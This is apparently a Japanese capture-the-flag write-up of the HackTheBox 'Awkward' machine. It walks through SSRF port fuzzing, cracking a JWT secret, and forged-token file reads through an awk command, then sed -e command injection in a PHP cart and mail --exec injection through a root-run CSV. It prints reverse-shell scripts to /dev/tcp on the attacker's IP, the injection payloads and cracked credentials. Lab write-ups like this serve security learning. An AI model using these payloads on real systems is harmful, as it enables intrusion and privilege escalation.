🔥

HackTheBox Awkward

2023/03/01に公開

Awkward

侵入

rustscan

┌──(kali㉿kali)-[~/Desktop/Awkward]
└─$ rustscan -a 10.10.11.185 -- -A -T4 -sC -sV -Pn
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.

PORT   STATE SERVICE REASON  VERSION
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-methods: 
|_  Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80番のみが検出されたが、再度nmapを実行すると、22番も検出することができた

web

実際に、サイトを確認してみる

帽子のサイトらしいが、特に重要な情報は見つからない
Burp Suite でリクエストを確認すると、大量の js ファイルが使用されていることがわかった

特に、app.js には情報があることが多いので内容を確認していく

{\n    href: \"/hr\",\n    onClick: _cache[0] || (_cache[0] = function () {\n
return $options.logout && $options.logout.apply($options, arguments);\n    }

やはり、新たなリンクの情報が記載されていた
実際に、hr にアクセスしてみる

ログイン画面が表示された
今のところ、認証情報はまったく手がかりがないので、SQLインジェクションを試そうとしたところ

GET /hr HTTP/1.1
Host: hat-valley.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: token=guest
Upgrade-Insecure-Requests: 1

Burp Suite で確認すると、Cookie に guest という値が使用されていることがわかった
Cookie の値を admin に変更し、再度 hr にアクセスしてみる

dashboard にアクセスできた
アクセスはできたが特に情報がなさそうな気がするので、再度 app.js を見てみる

// staff-details
var baseURL = \"/api/\";\n\nvar staff_details = function staff_details() {\n
return axios__WEBPACK_IMPORTED_MODULE_0___default.a.get(baseURL + 'staff-
details').then(function (response) {\n    return response.data;\n  });\n};
// store-status
var baseURL = \"/api/\";\n\nvar store_status = function store_status(URL) {\n
var params = {\n url: {\n toJSON: function toJSON() {\n return URL;\n
}\n }\n };\nreturn axios__WEBPACK_IMPORTED_MODULE_0___default.a.get(baseURL +
'store-status', {\n params: params\n  }).then(function (response) {\n   
return response.data;\n  });\n};

新たに、/api/staff-details と /api/store-status の存在を発見

アクセスしてみると、JWT認証でエラーが起きている
トークンを admin に変更してもエラーが出てしまうため、何も入力せずにアクセスしてみる

すると、username と password が表示された
パスワードは当然ハッシュ化されているので、解読していく

CrackStation による解読を試したところ、Christopher のパスワードを解読できた
実際に、hr でのログインを試してみる

ログインが成功し、先ほどまでとは違って、アイコンや名前が表示されている

さっきから気になっているのは、Store Status という要素だが、Refresh を押しても何も動作しない。かと思っていたら、Brup Suite で以下のようなリクエストが飛んでいた

GET /api/store-status?url=%22http:%2F%2Fstore.hat-valley.htb%22 HTTP/1.1
Host: hat-valley.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://hat-valley.htb/dashboard
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjc2MDE5NTI4fQ.ZB3FeF_sPJzJhRwg_FRbqyjD47n-jL6PVAelkxCmtn0

store-status に対して url とともに送信されている
試しに、store.hat-valley.htb にアクセスしてみる

basic 認証が行われていた。先ほどの認証情報を試してもアクセスすることはできなかった

store-status に話を戻し、試しに store.hat-valley.htb ではなく、hat-valley.htb に変更し、リクエストを送信してみる
すると、通常の画面が出力されており、これは、SSRF が発火する可能性がある。現時点で真っ先に考え浮かぶのは、ポートを指定することなので、ffuf によるポートの指定を行う

┌──(kali㉿kali)-[~/Desktop/Awkward]
└─$ ffuf -w port.txt -u 'http://hat-valley.htb/api/store-status?url="http://localhost:FUZZ"' -p 0.1 -of html -o ffuf.html -fs 0

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://hat-valley.htb/api/store-status?url="http://localhost:FUZZ"
 :: Wordlist         : FUZZ: port.txt
 :: Output file      : fuff.html
 :: File format      : html
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Delay            : 0.10 seconds
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

80                      [Status: 200, Size: 132, Words: 6, Lines: 9, Duration: 261ms]
3002                    [Status: 200, Size: 77010, Words: 5916, Lines: 686, Duration: 518ms]
8080                    [Status: 200, Size: 2881, Words: 305, Lines: 55, Duration: 351ms]
:: Progress: [65535/65535] :: Job [1/1] :: 113 req/sec :: Duration: [0:11:36] :: Errors: 0 ::

3002番と8080番を新たに発見

3002番に実際にアクセスすると、API の仕様が説明されている
一つ一つ確認していくと、脆弱性がある API を発見した

awk

API の中でも all-leave に注目する

app.get('/api/all-leave', (req, res) => {
  const user_token = req.cookies.token
  var authFailed = false
  var user = null
  if(user_token) {
    const decodedToken = jwt.verify(user_token, TOKEN_SECRET)
    if(!decodedToken.username) {
      authFailed = true
    }
    else {
      user = decodedToken.username
    }
  }
  if(authFailed) {
    return res.status(401).json({Error: "Invalid Token"})
  }
  if(!user) {
    return res.status(500).send("Invalid user")
  }
  const bad = [";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"]
  const badInUser = bad.some(char => user.includes(char));
  if(badInUser) {
    return res.status(500).send("Bad character detected.")
  }
  exec("awk '/" + user + "/' /var/www/private/leave_requests.csv", {encoding: 'binary', maxBuffer: 51200000}, (error, stdout, stderr) => {
    if(stdout) {
      return res.status(200).send(new Buffer(stdout, 'binary'));
    }
    if (error) {
      return res.status(500).send("Failed to retrieve leave requests")
    }
    if (stderr) {
      return res.status(500).send("Failed to retrieve leave requests")
    }
  })
})

exec の中で user が使用されており、bad の中にスラッシュ(/)とカンマ(.)が検知されるようになっていないため、LFI に対して脆弱であることがわかる
これを悪用するためには、JWT トークンの username に該当するファイル名を指定する必要がある

┌──(kali㉿kali)-[~/Desktop/Awkward/jwtcrack]
└─$ ./jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjc2MDE5NTI4fQ.ZB3FeF_sPJzJhRwg_FRbqyjD47n-jL6PVAelkxCmtn0 > jwt.john

jwt2john.py を使用し、jwt.john を作成

┌──(kali㉿kali)-[~/Desktop/Awkward/jwtcrack]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt jwt.john
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA256 [password is key, SHA256 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123beany123      (?)     
1g 0:00:00:04 DONE (2023-02-10 18:49) 0.2469g/s 3291Kp/s 3291Kc/s 3291KC/s 123erix..123P45
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

jwt.john に対して、john を実行すると、jwt の解読に成功した

解読に成功したので、実際にカスタムJWTトークンを作っていく
とりあえず、/etc/passwd の出力を目指す

Burp Suite でリクエストを送信すると、うまく /etc/passwd を表示させることができた
同時に bean ユーザ と christine ユーザの存在も把握できた

次に、それぞれのユーザの SSH 秘密鍵を取得できないか試してみたが、うまくいかない

SSH 秘密鍵がダメだったので、bashrc を試す

うまく読み取ることに成功し、backup_home という怪しいコードを発見
backup_home.sh がどのようなものなのか調べてみる

同じように JWT トークンを使用し、内容を確認
色々実行されているが、目をつけるポイントは tar ファイルが作成されているところにある
backup ディレクトリに作成されたものは、削除されていないのでダウンロードできそう

┌──(kali㉿kali)-[~/Desktop/Awkward]
└─$ curl http://hat-valley.htb/api/all-leave --header "Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3ogJyIsImlhdCI6MTY3NjAxOTUyOH0.JSSGEmEhxphb3ZW1aGCczA3xRoshVqdayyHPE4eMqaw" --output bean_backup_final.tar.gz 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 31716  100 31716    0     0  48424      0 --:--:-- --:--:-- --:--:-- 48495

curl を実行し、ダウンロード

┌──(kali㉿kali)-[~/Desktop/Awkward]
└─$ tar -xvzf bean_backup_final.tar.gz 

gzip: stdin: unexpected end of file
./
./bean_backup.tar.gz
./time.txt
tar: Child returned status 1
tar: Error is not recoverable: exiting now

解凍すると、さらに bean_backup.tar.gz ファイルが出力された

┌──(kali㉿kali)-[~/Desktop/Awkward]
└─$ tar -xvzf bean_backup.tar.gz      
./
./Templates/
./.ssh/
./Pictures/
./.config/
./.config/xpad/
./.config/xpad/info-GQ1ZS1
./.config/xpad/default-style
./.config/xpad/content-DS1ZS1
./.config/gnome-initial-setup-done
./.config/goa-1.0/
./snap/snapd-desktop-integration/14/Documents/
./snap/snapd-desktop-integration/common/
./.bashrc
./Downloads/
./.bash_history
./.profile
./Desktop/
./Public/
./.bash_logout
./Documents/
./Documents/backup_tmp/
./Documents/backup_tmp/bean_backup.tar.gz
./Documents/backup_home.sh
./Documents/backup/

大部分は省略しているが、bean_backup.tar.gz をさらに解凍すると大量にファイルが出力された

┌──(kali㉿kali)-[~/Desktop/Awkward/.config/xpad]
└─$ cat content-DS1ZS1          
TO DO:
- Get real hat prices / stock from Christine
- Implement more secure hashing mechanism for HR system
- Setup better confirmation message when adding item to cart
- Add support for item quantity > 1
- Implement checkout system

boldHR SYSTEM/bold
bean.hill
014mrbeanrules!#P

https://www.slac.stanford.edu/slac/www/resource/how-to-use/cgi-rexx/cgi-esc.html

boldMAKE SURE TO USE THIS EVERYWHERE ^^^/bold 

ファイルを探索していると、bean のパスワードらしき文字列を発見した

bean としてのシェル

SSH

┌──(kali㉿kali)-[~/Desktop/Awkward]
└─$ ssh bean@10.10.11.185 
bean@10.10.11.185's password: 

bean@awkward:~$ whoami
bean

侵入成功

user フラグ

bean@awkward:~$ cat user.txt 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

フラグ取得

列挙

store

前見つけていた Basic 認証をクリアするための情報を探す

bean@awkward:~$ cat /etc/nginx/conf.d/.htpasswd
admin:$apr1$lfvrwhqi$hd49MbBX3WNluMezyjWls1

admin と ハッシュを見つけることができたが、ハッシュは解読することができない
そこで、先ほどの bean のパスワードがどこでも使われていると記述されていたことを思い出し、認証に使用してみる

アクセスに成功した
実際に、SSH 上でファイルが確認できるので、色々と見てみる

//delete from cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) {
    $item_id = $_POST['item'];
    $user_id = $_POST['user'];
    $bad_chars = array(";","&","|",">","<","*","?","`","$","(",")","{","}","[","]","!","#"); //no hacking allowed!!

    foreach($bad_chars as $bad) {
        if(strpos($item_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }

    foreach($bad_chars as $bad) {
        if(strpos($user_id, $bad) !== FALSE) {
            echo "Bad character detected!";
            exit;
        }
    }
    if(checkValidItem("{$STORE_HOME}cart/{$user_id}")) {
        system("sed -i '/item_id={$item_id}/d' {$STORE_HOME}cart/{$user_id}");
        echo "Item removed from cart";
    }
    else {
        echo "Invalid item";
    }
    exit;
}

cart_actions.php の内容をみると、system で sed コマンドを実行していることがわかった。他にも system を実行しているコードはあるが、bad_chars でセミコロン(;)が検知されるので、悪用は難しそう。しかし、sed であれば、RCE として十分に悪用可能

//delete from cart
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['action'] === 'delete_item' && $_POST['item'] && $_POST['user']) {
    $item_id = $_POST['item'];
    $user_id = $_POST['user'];

一つ一つ確認していく。まず sed を実行するためには、cart を削除するアクションを起こす必要がある。

function removeFromCart(item, user) {
        $.ajax({
           type: "post",
           url: 'cart_actions.php',
           data:{item: item.getAttribute("data-id"), user: user, action: 'delete_item'},
           success:function(data) {
             alert(data)
             location.reload()
           }
        });
    }

cart.php を確認したところ、実際に delete_item というアクションを飛ばしているものを確認した。また、今回 RCE を発火させるために使用するパラメータは item であり、ここでは、getAttribute により、item を設定していることがわかる

item=1&user=374b-ecd1-bcf-fb23&action=delete_item

実際に、カートを削除した際に上記のパラメータが飛んでいた
では、どのように RCE を行うかという話だが、sed の -e オプションを使用する

bean@awkward:/var/www/store$ cat /tmp/shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.2/5555 0>&1

まず、Kali へシェルを返すようなスクリプトを作成

system("sed -i '/item_id=' -e "1e /tmp/shell.sh" /tmp/shell.sh '/d' {$STORE_HOME}cart/{$user_id}");

そして、上記のような形で実行できるように、item_id の値を変更していく
そのために、cart に商品を登録し、登録されたファイルの item の値を変更する

bean@awkward:/var/www/store/cart$ rm 374b-ecd1-bcf-fb23
bean@awkward:/var/www/store/cart$ nano 374b-ecd1-bcf-fb23
bean@awkward:/var/www/store/cart$ cat 374b-ecd1-bcf-fb23 
***Hat Valley Cart***
item_id=1' -e "1e /tmp/shell.sh" /tmp/shell.sh '&item_name=Yellow Beanie&item_brand=Good Doggo&item_price=$39.90

www-data としてのシェル

bash

ここまできたら、kali 側で待ち受け、実際に cart を削除する

item=1'+-e+"1e+/tmp/shell.sh"+/tmp/shell.sh+'&user=c32c-8d49-752-e3d9&action=delete_item

リクエストを Repeater に送り、上記のよう変更

┌──(kali㉿kali)-[~/Desktop/Awkward]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.185] 38650
www-data@awkward:~/store$ whoami
www-data

リクエストを送信することで、シェルが取得できた

権限昇格

leave_requests.csv

www-data@awkward:~/private$ ls -l
total 4
-rwxrwxrwx 1 christine www-data 600 Feb 14 01:40 leave_requests.csv

private ディレクトリ内をみてみると、leave_requests.csv を確認

www-data@awkward:~/private$ cat leave_requests.csv 
Leave Request Database,,,,
,,,,
HR System Username,Reason,Start Date,End Date,Approved
bean.hill,Taking a holiday in Japan,23/07/2022,29/07/2022,Yes
christine.wool,Need a break from Jackson,14/03/2022,21/03/2022,Yes
jackson.lightheart,Great uncle's goldfish funeral + ceremony,10/05/2022,10/06/2022,No
jackson.lightheart,Vegemite eating competition,12/12/2022,22/12/2022,No
christopher.jones,Donating blood,19/06/2022,23/06/2022,Yes
christopher.jones,Taking a holiday in Japan with Bean,29/07/2022,6/08/2022,Yes
bean.hill,Inevitable break from Chris after Japan,14/08/2022,29/08/2022,No

中身を見てみたが、いまいち何をしているかまだわからない

www-data@awkward:/tmp$ ./pspy64
./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░  

2023/02/14 01:50:01 CMD: UID=0    PID=3722   | /bin/sh -c /root/scripts/restore.sh 
2023/02/14 01:50:01 CMD: UID=0    PID=3724   | cp /root/backup/leave_requests.csv /var/www/private/leave_requests.csv 
2023/02/14 01:50:01 CMD: UID=0    PID=3723   | /bin/bash /root/scripts/restore.sh 
2023/02/14 01:50:01 CMD: UID=0    PID=3728   | /bin/bash /root/scripts/notify.sh 
2023/02/14 01:50:01 CMD: UID=0    PID=3726   | /bin/bash /root/scripts/notify.sh 
2023/02/14 01:50:01 CMD: UID=0    PID=3737   | mail -s Leave Request: bean.hill christine 
2023/02/14 01:50:01 CMD: UID=0    PID=3738   | /usr/sbin/sendmail -oi -f root@awkward -t 

pspy64 により何をしているのかを確認してみると、どうやら leave_requests.csv を使用し、mail コマンドを実行しているようだ。これは権限昇格に使用できそう

root としてのシェル

mail

情報は揃ったので、実際に権限昇格していく

www-data@awkward:/tmp$ cat root.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.2/9002 0>&1

まずは、先ほどのように、シェルを返す実行ファイルを作成

echo '" --exec="\!/tmp/root.sh"' >> leave_requests.csv

そして次に、そのファイルを実行するように csv ファイルを編集

┌──(kali㉿kali)-[~/Desktop/Awkward]
└─$ nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.185] 50258

root@awkward:~/scripts# whoami
root

その後、しばらく待ち受けているとシェルを取得できた

root フラグ

root@awkward:~# cat root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

攻略完了

所感

今回のボックスはかなりボリュームがあり難易度も高かったと思うが、攻略していてとても楽しいボックスだった。staff-detailsへのアクセスでは、トークンを書き換えながら攻略する過程で、まさか何も設定しないことによりアクセスが可能になるとは思わなかったので、成功した時は驚いた。JWTは今までの学習の成果が現れ比較的簡単に攻略できたので、よかった。成長を感じれる機会は貴重だと思う。

Discussion